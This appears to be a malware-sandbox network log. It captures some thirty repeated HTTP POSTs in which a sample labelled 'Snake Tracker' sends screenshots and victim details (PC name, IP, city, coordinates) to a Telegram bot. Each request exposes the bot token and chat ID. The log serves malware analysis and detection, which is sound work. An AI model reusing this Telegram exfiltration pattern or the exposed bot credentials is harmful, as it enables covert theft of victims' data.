Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd53dabd910181Host: api.telegram.orgContent-Length: 709261Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd54a2cf5faa4eHost: api.telegram.orgContent-Length: 701171Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd54016fcc0347Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd54e05f5db70bHost: api.telegram.orgContent-Length: 709502Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5436e26a3730Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5508dcd0ab34Host: api.telegram.orgContent-Length: 706776Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd548fed14e72aHost: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd555e7355e4b6Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd54cff9efdcf3Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd55c60fe897b7Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd550d602b314fHost: api.telegram.orgContent-Length: 709461Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd562aeb8b0fe7Host: api.telegram.orgContent-Length: 715421Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd554f7cdd9e76Host: api.telegram.orgContent-Length: 709459Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5679ab174d43Host: api.telegram.orgContent-Length: 709459Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd56f87ad53487Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd55cd2163528fHost: api.telegram.orgContent-Length: 701024Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd57431ae691f1Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd560b448b0fcdHost: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd57b525339f81Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd568ce8bef6b7Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd581ad8e2c6beHost: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd57020cab8d74Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5883ccbcdb5fHost: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd57853a6ba14fHost: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd58f5e7576b22Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5806d8b754f1Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd596ec7fc07e5Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd588331d88799Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd6e942a613be0Host: api.telegram.orgContent-Length: 701171Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8de3a25a3cbc7d4Host: api.telegram.orgContent-Length: 708858Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd58d44c277f5aHost: api.telegram.orgContent-Length: 701171Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd58da3ab36bd1Host: api.telegram.orgContent-Length: 708858
